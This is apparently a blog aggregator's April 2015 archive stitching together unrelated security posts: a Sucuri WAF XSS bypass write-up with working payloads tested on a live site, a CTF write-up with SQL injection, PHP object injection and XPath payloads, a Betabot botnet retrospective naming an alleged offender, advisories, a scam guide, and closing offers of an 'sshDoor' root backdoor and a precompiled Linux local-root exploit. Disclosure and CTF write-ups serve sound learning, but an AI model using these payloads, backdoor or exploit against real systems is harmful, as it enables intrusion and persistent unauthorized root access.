Monthly Archives: April 2015

Sucuri WAF XSS Filter Bypass


Sucuri Cloud Proxy is a very well known WAF capable of preventing DOS, SQL Injection, XSS and malware detection and prevention. It acts as a reverse proxy which means that all the traffic sent to an application behind Sucuri WAF would be first sent to Sucuri's network which (based upon it's signature database) would check if a particular request is legitimate or not, if it's legitimate it would let it reach the application otherwise it would blocked.

Due to the fact that Sucuri's Cloud proxy utilizes a Blacklist based protection to prevent application layer attacks, it caught my interest as it has been proven time after time that blacklist based protection is insufficient when attempting to block application layer attacks specifically Cross site scripting, as there are countless ways javaScript could be encoded/represented to bypass the protection and thereby it's very difficult to construct a filter that is capable of blocking all possible combinations while yielding minimum false positives. An example would be Mod Security, they have a Strong XSS filter, However it generates a lot of false positives and in most cases it blocks normal/harmless text.

Example #1

As you can see fr that a completely harmless text triggers an alert, as the regular expression is checking for any thing before and after "src" attribute. 

Example 2 

Notice that in this case as well we have a valid and completly harmless text being considered as an XSS attack vector.

Sucuri XSS Filter

Let's get to the main topic, In this post i would be revealing one of the many bypasses i found for sucuri's XSS filter. The full bypass works with user interaction, however given that you follow the given methodology you would easily be able to construct a bypass that does not require user interaction.

As per the following link Sucuri's cloud proxy has a built in XSS filter capable of detection and blocking XSS attempts. "Our CloudProxy firewall does protect your site against XSS script injections if you want to prevent them from ever being used to compromise your site". So I decided to test the effectiveness, however due to absence of testbed i had to attempt it on a live website. So let's get started.


The following is the methodology I utilize when i am up against any WAF:

i) Brute Force (Throwing random payloads and known bypasses for other filters to see if they are able to bypass the filter)
ii) Regex Reversing (The rules are reverse engineered to see what is allowed vs what is not allowed to construct a bypass)
iii) Browser Bugs (When (i) and (ii) fails, I go with browser specific bugs such as charset inheritance, RPO etc and other quirks)

For bypassing Sucuri the second methodology was utilized i.e. Regular expression reversing.

Initial Tests - Brute Force 

I made initial tests with tons of different vectors, however i quickly figured out that Brute forcing would not be the way to go about bypassing this filter.

<script>delete alert;alert(1)</script>
<svg><script/href=//?? /> - IE
<script src="">
<svg><script/href= />
<iframe src="javascript:alert(2)"
<form><isindex formaction="javascript&colon;confirm(1)>
<isindex action=// type=image>
<form action=//><input type="submit">
<meta http-equiv="refresh" content="0;url=//">
<applet code="javascript:confirm(document.cookie);">
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)
<isindex x="javascript:" onmouseover="alert(1)">

Constructing A Bypass - Regex Reversing

During my tests i found that <a tag along with href attribute was allowed. However i found that as soon as i enter anything after the = my vector is blocked."><a href=>CLICK</a>

I thought perhaps they are detecting the regular expressions expects a SPACE after anchor tag, so i tried forward slash (/) however it was blocked."><a/href=>CLICK</a>

The next option was to try characters that could be used instead of white space such as x0c which stands for "Form Feed" or perhaps newlines."><a%0c href=>CLICK</a>

I came to the conclusion that the regex only looks for a "Space" and "Forward slash" between a tag and href attribute. However, i since Form feed only works in google chrome, i didn't wanted to generate a browser specific bypass. So, i used the following vector."><a fooooooooooooooooooooooooooo href=>CLICK</a>

Here is how the input was being reflected.

The next step was to use javascript, scheme to execute javaScript, however as expected it was being filtered out."><a fooooooooooooooooooooooooooo href=javascript:alert(1)>CLICK</a>

The next step was to check if the regex is filtering out case sensitive payloads. However, it was also being filtered out."><a fooooooooooooooooooooooooooo href=javAsCript:alert(1)>CLICK</a>

The following test was made to check if the regex was looking for a colon followed by javascript keyword."><a fooooooooooooooooooooooooooo href=javAsCript:>CLICK</a>

With above test it was clear that the regular expression is looking for "Javascript" keyword followed by a "Colon".  This could be easily defeated by using HTML entities such as &sol &tab &colon &NewLine. Apart from that parenthesis were also being blocked which could also be easily bypassed by using their corresponding html entities i.e. &lpar; and &rpar;.

Inside of href attribute &colon; could be used instead of ":" which would be decoded by the browser at the run time."><a fooooooooooooooooooooooooooo href=javAsCript&colon;test>CLICK</a>

However, as could be seen from the above figure the html entities are not being reflected back. This could be easily defeated by using hex encode to encode & and ;  signs.

Full Bypass

Combining all pieces of puzzle leads to full bypass:"><a fooooooooooooooooooooooooooooooooo href=JaVAScript%26colon%3Bprompt%26lpar%3B1%26rpar%3B%>

Ethical Considerations

Both the website owner and the vendor has been notified about the vulnerability.

In Closing

WAF's should only be considered as an additional layer of protection not a primary layer of protection. Due to the fact that rely upon blacklist, in almost all the situations it's possible to bypass them.

Update 1: It seems like Sucuri has just blocked "Prompt" keyword, the following vector bypasses it -  <a%20x%20href=javascript%26%2358%3Bprompt(1)>a</a>  credits @mmrupp

Update2: It seems like securi is now blocking "Prompt" as well as the "Confirm" keyword, the following vector bypasses it -

 <q oncut=\u0070rompt(2)> 
"><p id=""onmouseover=\u0070rompt(1) //

Update 3:  @soaj1664ashar found another way to bypass the filter:

"><p id="\u0070rompt(1)"onmouseover=\u0065val(id) //

Update 4: Mathias Karlson used a neat trick to yet again bypass Sucuri XSS filter, he figured out that a="b" i  added a little bit of css magic to make user interaction unavoidable.

<a id="a"href=javascript&colon;alert&lpar;1&rpar; id="a">Click</a>

Unavoidable User Interaction

The above bypass could be combined with with css magic to bypass it with unavoidable user interaction.

<a+id="a"href=javascript%26colon;alert%26lpar;1%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Click me plz</a>

Antivirus Pro 2015

Antivirus Pro 2015 is a fake Antivirus tool. It is from the same rogue family as AntiVirus Plus 2014, Smart Security, Internet Security, Privacy Protection, Security Protection, Malware Protection, Spyware Protection, Advanced Security Tool 2010, Security Central, Home Personal Antivirus, XP Deluxe Protector, Win PC Antivirus, Win PC Defender, XP Police Antivirus, IE-Security, WinDefender 2009 and Total Secure 2009.

The rogue detects fake infections and prevents legit softwares execution, displaying alert messages to scare users.

A new option to stem the tide of nefarious Twitter images…

Smoothwall's team of intrepid web-wranglers have recently noticed a change in Twitter's behaviour. Where once, it was impossible to differentiate the resources loaded from, Twitter now includes some handy sub-domains so we can differentiate the optional user-uploaded images from the CSS , buttons, etc.

This means it's possible to prevent twitter loading user-content images without doing HTTPS inspection - something that's a bit of a broad brush, but given the fairly hefty amount of adult content swilling around Twitter, it's far from being the worst idea!

Smoothwall users: Twitter images are considered "unmoderated image hosting" - if you had previously made some changes to unblock CSS and JS from twimg, you can probably remove those now.

CSP 2015 Capture The Flag Writeup

On 11th April Giuseppe Trotta and myself organized a CTF (Capture The Flag) competition for Cyber Secure Pakistan (A conference that combines all the stakeholders). The challenge was hosted on and contained 9 different challenges, some challenges itself contained sub-challenges. Overall, we received great feedback from vast majority of participants. No one was able to solve all the challenges within the given time frame, however a day or two we noticed that a team of "Sajjad" and "MakMan" was able to solve the challenge, and they were kind enough to do the writeup for the challenge, so over to Sajjad for the writeup.

 I teamed-up with a very talented friend of mine to solve the challenges. He goes by the nickname "MakMan" and possesses extra-ordinary problem solving and penetration testing skills. We solved almost all challenges together. I want to keep this write-up precise, so I would not ramble on much about what I tried and failed. I will rather explain what steps I went through in each of the challenges to exploit the vulnerability and capture its flag. I am going to explain them in descending order where order is the time I had to spend to solve the challenge.

Note: You might notice that I didn't use threading in any of my scripts to make them work faster. The reason is that I was afraid of getting my I.P address banned by the server for sending requests too fast; I was also afraid of overloading the server by sending too many requests at a time. And in some scenarios, it was not feasible to use threading.

9. Authentication Bypass (via cookie manipulation)

This was the very first challenge I attempted in this CTF and upon solving it, I found it to be the easiest. A simple sign-in page was provided on main page (index.php) which can be seen in the screenshot below.

At first, I expected it to be simple SQL injection (x' or 'x'='x) bypass; but it didn't take long for me to figure out that that was not the case, so I started with analyzing the headers and cookies and found an interesting cookie named "admin" with its value set as '0'. At this point, I became sure that it was a cookie manipulation vulnerability, so I simply modified the cookie value and set it to '1'. After that, all I had to do was submit the form with any username and password values. Below screenshot shows the result of the form submission after cookie manipulation.

The MD5 hash of this key was the flag for this challenge.

8. PHP Object Injection (via "unserialize" function)

This challenge had 300 points which in my opinion, it did not deserve. It was a simple PHP Object injection which I believe (according to my limited knowledge) can only be exploited if the some information of the source code is known. At first, the source code was not provided; even the class name (which had exploitable magic method) was not mentioned. Later, the source code was provided which made it a very easily solvable challenge.

Anyway coming back to the agenda... The main page (unserialize.php) of this challenge had a form which can be seen in the screenshot below.

And here is the given source code:
From the source code, it can clearly been seen that the direct user input is being passed to the unserialize function which is a security risk and results in a code execution. It can also be seen that a vulnerable magic method "__destruct" exists in the class named "CreateFile" which exists in the same context (or file) as the unserialize function.

Here is the vulnerable line of code:
readfile(dirname(__FILE__) . '/' . $this->tmpfile);
Anybody having basic understanding of the objection injection vulnerability would know that he can set the values of the class properties according to his will by exploiting the "unserialize" function via input. Thus, we can set the value of "tmpfile" which would be the member of the current class instance.

So here is the input payload I submitted which resulted in Local File Disclosure.
ss O:10:"CreateFile":1:{s:7:"tmpfile";s:15:"unserialize.php";}
For anyone (not familar with serialization), here is the code I wrote to generate this payload.
A "KEY" was defined in the source code of unserialize.php.

The MD5 hash of that key was the flag for this challenge.

7. Cross-site Request Forgery (CSRF)

This scenario of this challenge seemed unrealistic to me for many reasons. But who cares, right? The goal was to solve the challenge which I did.

So the below hint was provided in the challenge details.
Hint: It's awesome when other people do things for you, isn't it?;)
The simulation of this hint, so the biggest part of this challenge is at "fake_user.php" file
And the credentials of a user account were also given.

The URL provided for this challenge had a small web application for bank management. There was a login page which can be seen in the screenshot below.

So I logged in using the provided credentials and noticed that a donation page existed which could be used to donate money to other members in the bank.

The goal of this challenge was to become the richest in the bank. The user whose credentials were provided had $10 in account. And it was mentioned that the current richest person in the bank has $1131.

 Oh and there is a donation page? At this point I knew that it was the donation system which would be vulnerable. So I donated $5 to a random person (who shouldn't be tankful to me) to learn how it worked.

It was discovered that that a request was generated to a page "sendmoney.php" with GET parameters that included sender, receiver, amount, etc. The original parameter names can be seen in below link:

/sendmoney.php?frommemberID=99999&memberID=1&member=John Smith&ammount=5
I tried to tamper the "frommemberID" parameter but the result was not a success. It seemed like the donation page was checking whether the "frommemberID" value matches with that of currently logged in user. The resulting page had this message:
So you want to steal money?? This is not the correct way!
Then I remembered the hint i.e. fake_user.php. That page was a user simulator. It also had other (a little too much) information. Here is the information which was mentioned there:

Welcome CSRF Master!
As you already know, the donation form is vulnerable to CSRF.

You also know, that to become the richest in the bank and win the gorgeous prize you must steal some money from all the members in the bank.
Hey, not too much...max $5 (the donation budget)!

We know, and you too, that to do a CSRF attack we need a victim that follows our links.
Well, to simplify we have made the following form.

This form simulate a user logged in his members area that clicks on a given link.
 Below this text, was a form which had a field to input the URL which victim would visit. To cut to the chase, the donation URL was meant to be submitted in the form on "fake_user.php" page. So I tested it by pasting the same URL that I had tried directly earlier and here was the result:

Then I checked the balance and it now had $5 more than the previous balance i.e. $10 which means in total it had $15. Now I had to steal another $1132 in order to be the richest in the bank. And $1132 divided by $5 (max donation amount allowed) equals 228 (users) but I already had $15 so 228 minus 15 = 212; this was the amount to users I had to steal from. It would have taken a long time submitting each URL manually (to steal $5 from each of the 212 users). So I coded a little PHP script which automated the task.

Here is the code of that script:
So after executing the script, I checked the balance page and this was the result:

The MD5 checksum of the image displayed on the page was the flag for this challenge.

6. Authentication Bypass (SQLi)

This challenge seemed more interesting than the previous bypass challenge (#9 in this list). Just like that challenge, a sign-in form could be seen on the front page (index.php).

An ajax call to 'login.php' with POST parameters ('username' and 'password') was generated upon submitting the form. At first I expected it to be an easily discoverable but tricky SQL injection vulnerability but it turned out to be the opposite.

It didn't take much time for me to figure out that the inputs (sent via POST method) were being filtered, restricting them to only alpha-numeric characters and spaces. At this point, it started to become interesting. After testing cookies and headers for possible SQL injection bugs, I stopped thinking like a pentester and thought like a programmer. After brain-storming for about 10 minutes, it occurred to me what if the programmer has made a mistake while filtering the input? With the hypothesis in mind that the programmer might be applying filter on only $_POST requests and using $_REQUEST in the query, I took the POST parameters and send them as GET parameters with an apostrophe and voila, an error appears on the page.
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'g00n' LIMIT 0,1' at line 5
First I thought of extracting the admin username and password from the database; but I figured that was unnecessary if the authentication page could be bypassed with good old "x' or 'x'='x".
/login.php?username=x' or 'x'='x&password=x' or 'x'='x

So upon sending GET request to login.php with the injection payload, a message was appeared on the page which said "Correct loginCiro". And the SESSID cookie was set in the browser.

Then I opened the main page which redirected to another page named private.php and that page had an image slider on it with five images.

The MD5 checksums of four out of the total five images  were the flags for this challenge.

5. Supposedly Analytical Test (bypassed via automation)

Okay, this was one weird challenge, lol. It was supposed to break my brains which it failed to achieve. Let me explain how.

On the challenge page, it could be seen that we had to choose a minimum or maximum number (randomly displayed on page) from a list of numbers which is also displayed on the page. Initial score was zero.

The session expires after 120 seconds which makes the score reset to zero. One wrong answer and the score becomes zero. Choosing a minimum or maximum between two numbers? Should be easy, huh?

But wait, number of numbers increase as the score increases which means when score becomes one, there are three numbers to choose from and when the score becomes two, four numbers are displayed to choose from. Still seems doable, right? Okay, let's mix the negative and positive numbers and then let the game begin.

When score reaches 10, there are 13 numbers both positive and negative and we had to choose a minimum or maximum from them. And still we did not how much score was required to win the game, so an ideal solution was automation.

I coded a PHP script to auto determine and submit the answers and stop when the key is found.

Here is the code of that PHP script:
 The result that this script generated can be seen in the screenshot below.

It turned out that the key is displayed when the score becomes more than 50.

The MD5 hash of that key was the flag for this challenge.

4. Reversing JavaScript Code

This challenge was interesting. It was like a riddle with a little twist.

A hint was provided in the description of the flag which said:
This challenge has more than 150 solutions, but are you able to find the one that starts with «#? If yes, give me the MD5 of that value!
 The main page (main.html) of this challenge had a sing-in form. Upon submitting the form, a JavaScript function (namely "ReverseCheck") was called which checked whether the entered password was correct or not. Username was predefined as "admin" in the same function.


Here is the JavaScript code which existed in the same page.
From this line, it was understood that the username was "admin.
The next line in the JS code told that the password length should be 7.
Now comes the interesting part. It can be seen in the JS code that an "if" statement is used to verify the entered password which has six conditions combined with logical AND (&&) operator. So I analyzed the first condition this way.
document.getElementById("ptb").value.charCodeAt(0) + document.getElementById("ptb").value.charCodeAt(1)==206
 It's worth mentioned here that the JavaScript "charCodeAt" function returns the Unicode value of the character at the specified index in a string.

This code tells that the sum of the Unicode values of the first and second characters of our password should be equal to 206. Let's have a look at the second condition.
document.getElementById("ptb").value.charCodeAt(1) + document.getElementById("ptb").value.charCodeAt(2) == 201
This condition says that the Unicode values of the first and second characters of our password should be equal to 201.

Rest of the four conditions follow the same pattern. The password could be easily calculated via simple plus, minus. But we had to calculate the password that started with «# as first two characters of the password.


the Unicode of « is 171
the Unicode of # is 35

171 +  35 = 206

Following this pattern, let's try to find out the third character using the second condition which says that the Unicode values of the first and second characters of our password should be equal to 201.

We know the second character, don't we? The Unicode of second character is 35.


 201 - 35 = 166

This tells us that the character at the Unicode 166 in the third character of required password which is "|".

So far the first three characters of our password are « # and |

Following this pattern, we could manually calculate the password but some of the characters were unprintable so it was better to calculate using small code.

So after calculations, I got the following Unicode values of the password:
  1. 171
  2. 35
  3. 166
  4. 18
  5. 159
  6. 21
  7. 177
So I just used the JavaScript "fromCharCode" function which converts Unicode values into characters to calculate the password and then its MD5 hash.

Here is the little piece of JS code I wrote:
 Here is the output:
So this MD5 hash was the flag for this challenge.

 3. Multi-level (LFI, SQLi, Decoding, etc)

This challenge was fun to solve. Specially the last stage where the password hash needs to be decoded into plain-text. I will be very precise about explaining it because it's kind of lengthy.

It had different stages and a flag was provided at each stage.

Stage #1:

At first stage, I had to perform simple LFI. The application was designed in such a way that the name of child pages were mentioned in the URL and those pages were included into the parent page at run-time.

Here is the URL that I noticed at first:
After some attempts, I discovered that a config file (config.php) existed in a directory named "config" which was located in the parent directory of current location. So I simply used the following URL to read the contents of config file:

The output said:  "Ops, where is the salt?! Yes it is here...."

A salt was actually mentioned in an HTML comment which could be seen by viewing the source code of the page.

The MD5 hash of this salt of the flag for this stage. I had to enter this salt in a page to unlock the second stage.

Stage #2:

This stage was a simple SQL injection. Another page (beer.php) was unlocked after entering the salt which was discovered in first stage and that page had some link. The "id" parameter of the first link was vulnerable to SQLi.

On performing the SQLi (just putting a ' in the URL), another page was unlocked with the name "Kelly Green". An MD5 hash was required entered on that page. It was kind of obvious that I had to enter the password hash to the user named "Kelly Green" there. I extracted users information from the database using the below link.
/beer.php?id=1' union select 1,CONCAT_WS(CHAR(32,58,32),id,name,surname,username,password),3 from users where name="kelly" and surname="green" and 'x'='x
Here is the output:
22 : Kelly : Green : S0ZH8BR22J5 : UzA5T05UWTRkZnNhNzgwZnNkNmI3OGY2YmRzNmFmdDg3NmFzZDY1OGE=
So after entering this hash, the final stage was unlocked.

Stage #3:

In second stage, we extracted the password hash of Kelly Green. So in this last stage, the hash needed to be cracked/decoded and I was required to enter the plain-text password of Kelly Green.

This stage would have been fun if the hint was not provided right above the input field. The hint said:
As you can see, the dbms is MySQL. In this dbms the comments on tables are stored into the INFORMATION_SCHEMA db, inside the table TABLE. 
This hint made pretty obvious that the encoding or encryption algorithm was stored in the table comments. So I used the following query to extract the contents of the comment of table "users".
/beer.php?id=1' union select 1,table_comment,3 from information_schema.tables where table_schema=database() and table_name="users" and 'x'='x
Here is the output:
password = base64(base64(password) + salt)
 So I had the salt which I extracted in first stage and I had the password hash which I extracted in the second stage. And I had this algorithm. It took only a few seconds to decode the hash and get its plain-text.

The plain-text password (i,e. "KON568" was the third flag for this challenge.

Upon submitting the password, a GIF image was displayed on the page.

The MD5 checksum of that image was the final flag for this challenge.

2. Blind XPath Injection

This challenge was easy but it was time-taking. Anyone familiar with blind exploitation of such injections will understand why.

The goal was defined in the challenge description as follows:
Your goal: find the secret hidden among the information sent by a special customer.
This challenge had a small PHP application for a restaurant website. Two of the total three pages had nothing of a pen-tester's interest but the third page had a form for seat reservation. It has had a link to another page to check the status of a reservation by providing email and phone.

First thing I did was reserve a seat for myself using that reservation form and while doing so, I tested if any parameter was vulnerable which was not the case. But at least I reserved a seat for myself in "one of the most important restaurants in the world," as described in the challenge information.

Anyway after doing so, I opened the page to to check my reservation. The page had a form which looked like this:

The email field in this form was vulnerable to blind XPath injection which I deducted after testing the negative and positive results by executing the form as follows:

URL: /checkreservation.php
POST data: phone=999-9999-9999&' and '1'='1
URL: /checkreservation.php
POST data: phone=999-9999-9999&' and '1'='2
Later I realized I could send the same parameters in GET request as well (not important but makes things a bit easier). Anyway, I started with exploiting it manually by using the xpath's "substring" function but soon I realized that it was going take an eternity this way. So I tried to use a python tool named "xcat". It worked but it was so slow that it took about 30 minutes to extract the information of first user in the document but the secret was not stored in the information of first user. What a disappointed that was! And it reached the 4th user, the session was expired; but the secret was not yet found. But it did help because now I knew the element names and I figured which element contained the required secret message. This was the structure of the XML document:
So I wrote a little PHP script to extract only the text of "info" element which I believed contained the secret. So first I manually discovered the length of the text in "info" element and then used the script to extract the contents. I started from second user as I already knew that the info of first user didn't have the required secret and found the secret in the info of 7th user.

Here is the little script I wrote:
Here is the output it generated:

 Before I show the final output, I must admit that I had a mini heart-attack when it reached at this point after about 20 minutes.

Because I had already spent about an hour while extracting the information of users in hope to find the secret.

Here is the final output:

 MD5 hash of this secret (Giuseppe did a great job!) was the flag for this challenge.

1. Guess the Password (Side Channeling)

This challenge was misleading. The title was misleading plus it had only 100 points, so I thought how difficult could it be? Should be easy, so I tried to solve this at second number (after finishing the 50 points challenge) but gave up after spending about 30 minutes on it and moved to the next challenge (didn't want to waste time and solve as many challenges as possible in less time).

After solving all other challenges, I came back to this. The main page had a form with one input field which can be seen in the screenshot below:

I started with analyzing headers, cookies and HTML source expecting the password to be hidden somewhere but at first attempt, I couldn't find anything of interest. Then I thought maybe it's a simple brute-force challenge; maybe a common weak password is used. Having this thought in mind, I coded a little script and started brute-forcing using a list of most common 1000 passwords. Result? Disappointed.

Here is how the form request was submitted:
URL: /index.php
POST data: password=test
And here is the resulting page:

 I am not afraid or ashamed to admit that I had never heard of "side channeling" attacks before and I had never used one and that's the reason that even after spending 2 hours on this challenge, I could not figure it out. I must admit that I was annoyed.

Anyway, I checked the HTML source once again and found this interest comment there.

"?debug for DEBUGGING" - I started wondering what it could possibly mean. I included "debug" parameter in the URL and analyzed the source but it was the same with and without the parameter.

After trying many things using this hint, I tampered the password submitting request and sent the request as below:
URL: /index.php?debug
POST data: password=test
At first the result looked exactly the same. But after checking the source, I discovered that that was some addition content in the result; it was an HTML comment which can be seen in the screenshot below.

Now that was something interesting. I started testing the process time with different inputs in hope of find the length of the password or the charset used; for few inputs it remained the same. After few inputs, I submitted password=test and this was the result:

I noticed that the process time was changed. I submitted the same request and noticed that the time fluctuated between 0.09 and 0.10. So I increased the length by adding more characters after the word "test" but the result remained same. Then I started changed the letters of "test" one by one and analyzed the change in time, starting from the end and removed the letter if it didn't effect the time. So I left with only this:
When I changed the letter 't' to something else, the time again became zero. I tried all characters on the keyboard and the time remained zero. After putting back 't' the time was again 0.1. At this point, I figured that the first letter of the password might be 't' because it's getting passed through checks and there must be some processing going on on the valid characters which takes some time hence the increment in time. So after that, I added one letter after 't' and tried password=ta but the time remained same i.e. 0.1. So once again I replaced 'a' with every character on my keyboard one after one and when finished upper and lower-case alphabets, I inputted password=t1 and this was the result:

Yes, an addition of 0.1 in the time. This made me believe that I was going in the right direction and this was indeed the right way to "GUESS" the password. But just to be sure, I checked the third character manually and now I had first three valid characters of the password i.e. "t1c".

Obviously I didn't know the length of the password. It could have been 100 even 1000 characters long, so I decided code a PHP script to automate the task and "GUESS" the password for me.

Here is the code of that PHP script:
It was a little fun coding this one. Here is the output it generated:

 "t1ckt0ck_b00m" was the valid password and the MD5 hash of this password was the flag for this challenge.

So that was it. It was really fun solving some of these challenges and it was indeed a good learning experience.

About The Author

Sajjad is a penetration tester and security enthusaists. He is a co-founder of CATRAX and REFLUXES where he offers security testing services. 

Betabot retrospective

Some of you know Betabot.. if you don't: panel:

extended information:

Search options:


Remove bot:

Terminate bot till next reboot:

Set browser homepage:

Visit URL option:

Update bot option:
Download file option:
DDoS cmd option:

Formgrabber logs:



IP blacklist:

List of dns recod to modify:





Users notice:

AV Checker:

The botmaster was running a support site at the url that i've monitored since... i don't know almost the begining till the end.
I've really collected a lot of datas and was constantly flagging new C&C urls even before they was active.

Inquiries sent to the betabot team (before they started the support forum):

Site structure:

Some clients kits:

Finally some people got busted using these informations..
If you want an example.. 'Spit Fyre' ex super moderator at Trojanforge who reside in the same country as me.
If you wonder why he disappeared you know why now.

Spit Fyre requesting an admin of Hackyard to delete his account after he got cops at door:

Some of his domains:
• dns: 1 ›› ip: - adress: DARKNESS.SU
• dns: 1 ›› ip: - adress: WEED.SU
• dns: 1 ›› ip: - adress: MEZIAMUSSUCEMAQUEUE.SU
• dns: 1 ›› ip: - adress: UMBXD15896.SU
• dns: 1 ›› ip: - adress: STYXB1TCH35.SU
• dns: 1 ›› ip: - adress: J1NXFYR3.SU

Anyway it's useless to talk about him and others betabot clients who had visits, the current status of betabot is stalled now and someone even made a builder for the version.
Betabot was a creative malware, plagued by bugs though.

3009008 – Vulnerability in SSL 3.0 Could Allow Information Disclosure – Version: 3.0

Revision Note: V3.0 (April 14, 2015): Revised advisory to announce with the release of security update 3038314 on April 14, 2015 SSL 3.0 is disabled by default in Internet Explorer 11, and to add instructions for how to undo the workarounds.
Summary: Microsoft is aware of detailed information that has been published describing a new method to exploit a vulnerability in SSL 3.0. This is an industry-wide vulnerability affecting the SSL 3.0 protocol itself and is not specific to the Windows operating system. All supported versions of Microsoft Windows implement this protocol and are affected by this vulnerability. Microsoft is not aware of attacks that try to use the reported vulnerability at this time. Considering the attack scenario, this vulnerability is not considered high risk to customers.

3045755 – Update to Improve PKU2U Authentication – Version: 1.0

Revision Note: V1.0 (April 14, 2015): Advisory published.
Summary: Microsoft is announcing the availability of a defense-in-depth update that improves the authentication used by the Public Key Cryptography User-to-User (PKU2U) security support provider (SSP) in Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1. The improvement is part of ongoing efforts to bolster the effectiveness of security controls in Windows.

Community news and analysis: March 2015

Featured news

Google cracks down on Chrome extensions that inject ads and degrade users’ browsing experiences (31 March). Google also added information about unwanted software to their Safe Browsing API last month (24 March).

Automattic: Five ways to secure WordPress plugins (27 March), preventing cross-site scripting in JavaScript (25 March), and a blind SQL injection vulnerability found in Yoast’s popular WordPress SEO plugin (13 March).

Three cheers for open information: Check out DreamHost’s first ever Transparency Report!

Malware news

ESET analyses “Casper” malware used against Syrian targets and likely developed by the same group behind the Babar and Bunny malware (5 March).

SiteLock demonstrates what it looks like to infect a website (19 March).

Sophos on the new TeslaCrypt ransomware targeting gamers running Windows (16 March) and developments in Microsoft Office malware (6 March).

A couple pieces of interesting Sucuri analysis: WordPress malware causes pseudo-DarkLeech infection (26 March); ‘inverted WordPress Trojan’ adds useful features along with malware (11 March).

Other security news

Mozilla on memory scanning for server security (12 March) and revoking trust in one CNNIC intermediate certificate (23 March).

Qualys: GHOST remote code execution exploit (17 March).

Fortinet: Cross-site scripting vulnerability discovered in WordPress Photo Gallery plugin with 12 million downloads (20 March).

Cyber scams that target senior citizens in India

A senior citizen’s primary gadget is a mobile phone which in earlier years was used to make/ receive calls and SMSes. With rising Internet penetration, children living in different cities and countries, video calls and rising costs; senior citizens have begun to use alternate communication channels like Whatsapp and Skype. Senior citizens have become easy targets for cybercriminals given their trusting nature and poor understanding on how voice and data services work.  Cybercriminals and Spammers target these four types of communication channels (voice, instant messaging, SMS and internet telephony) to defraud senior citizens. The three most prevalent types of scams are:

Missed Call or One Ring Telephone Scams

The most popular one is the “missed call” scam. A missed call from an international number is made to a senior citizen’s phone. When the senior citizen calls back, the call is connected to a premium rate number where the bill rates are significantly higher as there is a third party service charge for these services added to the bill. Senior citizens end up with large postpaid bills or find their prepaid credit wiped out. The modus operandi of these missed call scams is to ensure that once a call back is received, the caller is kept on the line for several minutes. The longer the duration the more money the scammer makes. To do so, either the caller is looped in an interactive voice response system which tells the caller to wait while the call is connected or the caller is connected to a recorded adult phone message. One senior citizen was so perturbed that she wanted to call the police because she heard a woman being beaten and screaming for help. Fortunately for her, she had limited prepaid credit and the call ran out. Many senior citizens become anxious and literarily rush to their telecommunication service provider only to receive a stoic response that they are not responsible for any calls made or received. To resolve their excess charge they are advised to take up the matter with the third party service provider, usually a dubious adult chat firm in a third world country. For the small sum of money lost, the cost of this pursuit would make it an unviable option with no guarantee of refunds.

Senior citizens can protect themselves by:

1.    Restricting outbound international calling,  if there is no necessity to make overseas call

2.    Ignore short duration missed calls from international destinations

3.    Checking the international dial code for missed numbers before returning the call. If the number originates from a country where they do not expect a call from, then it would be best not to return them

Lottery Type Scams 

In fake lottery scams, senior citizens receive SMSes or Whatsapp messages congratulating them on having won a “big lottery” and asking them to quickly claim their money.  One senior citizens though this was a valid claim because “it was not classified as spam” by the service provider. 40% of spam is not blocked by spam filters and spam filters only help but do not guarantee that a communication is legitimate. Once a request for redeeming the claim is made these scams always ask for either personal information or the payment of an advance fee, which when paid is either followed by a further request for money and the eventual disappearance act by the scamster.

 Senior citizens must not share personal data online and always avoid requests made for money to process a lottery win or to release a parcel, or to send a free gift as these are sure signs of fraudulent behavior. Senior citizens should also consult knowledgeable family members or friends before responding.

Disclosure of Personal Information

Extracting personal information which can later be sold or used to access online back accounts is another type of scam. Scammers pose as officials in position of authority (banks, police, and income tax) or as sellers of credits cards/personal loans using these “roles” to exert sufficient pressure to extract personal and financial data.

Senior citizens should always remember that however convincing the callers are information like bank accounts, financial records and passwords are never sought by authorities or banks.

Apple fixes security vulnerabilities in Safari, OS X, iOS and Apple TV

(LiveHacking.Com) – Apple has released a massive set of security fixes to address vulnerabilities in OS X, iOS, Safari, and Apple TV. The update for OS X is largest of all the patches and addresses 80 unique vulnerabilities. The OS X Yosemite v10.10.3 update is available for OS X Yosemite v10.10 to v10.10.2, while Security Update 2015-004 […]

sshDoor (good ssh backdoor)

./install passwrod port
./install jancok 33

open putty
ssh port : 33 login : root password : jancok

[root@serv ~]# uname -a;id
Linux 2.6.18-53.1.13.el5 #1 SMP Tue Feb 12 13:01:45 EST 20010 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@serv ~]# 

Download:  Here

Local Root Exploit For Linux Kernel 2.6.32 (precompile)

Its a pre-compiled exploit and has been verified for list servers. It might working on other 2.6.32-X kernels too. So, test it and update us in comments. Thanks.
Following is the list of vulnerable kernels which can be rooted with our exploit.

Vulnerable Kernels:

Linux localhost.domain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64
Linux localhost.domain 2.6.32-358.6.1.el6.x86_64 #1 SMP Tue Apr 23 19:29:00 UTC 2013 x86_64
Linux localhost.domain 2.6.32-279.19.1.el6.x86_64 #1 SMP Wed Dec 19 07:05:20 UTC 2012 x86_64
Linux localhost.domain 2.6.32-279.22.1.el6.x86_64 #1 SMP Wed Feb 6 03:10:46 UTC 2013 x86_64
Linux localhost.domain 3.2.2-ipprojects #4 SMP Fri Feb 3 15:53:51 CET 2012 x86_64
Linux localhost.domain 2.6.32-042stab076.5 #1 SMP Mon Mar 18 20:41:34 MSK 2013 x86_64
Linux localhost.domain 2.6.32-220.4.1.el6.x86_64 #1 SMP Tue Jan 24 02:13:44 GMT 2012 x86_64
Linux localhost.domain 2.6.32-379.22.1.lve1.2.17.el6.x86_64 #1 SMP Wed Apr 3 12:05:42 EEST 2013 x86_64
Linux localhost.domain 2.6.32-042stab068.8 #1 SMP Fri Dec 7 17:06:14 MSK 2012 x86_64
Linux localhost.domain 2.6.32-379.22.1.lve1.2.14.el6.x86_64 #1 SMP Wed Mar 6 15:12:30 EET 2013 x86_64
Linux localhost.domain 2.6.32-379.19.1.lve1.2.6.el6.x86_64 #1 SMP Fri Jan 18 10:16:30 EST 2013 x86_64
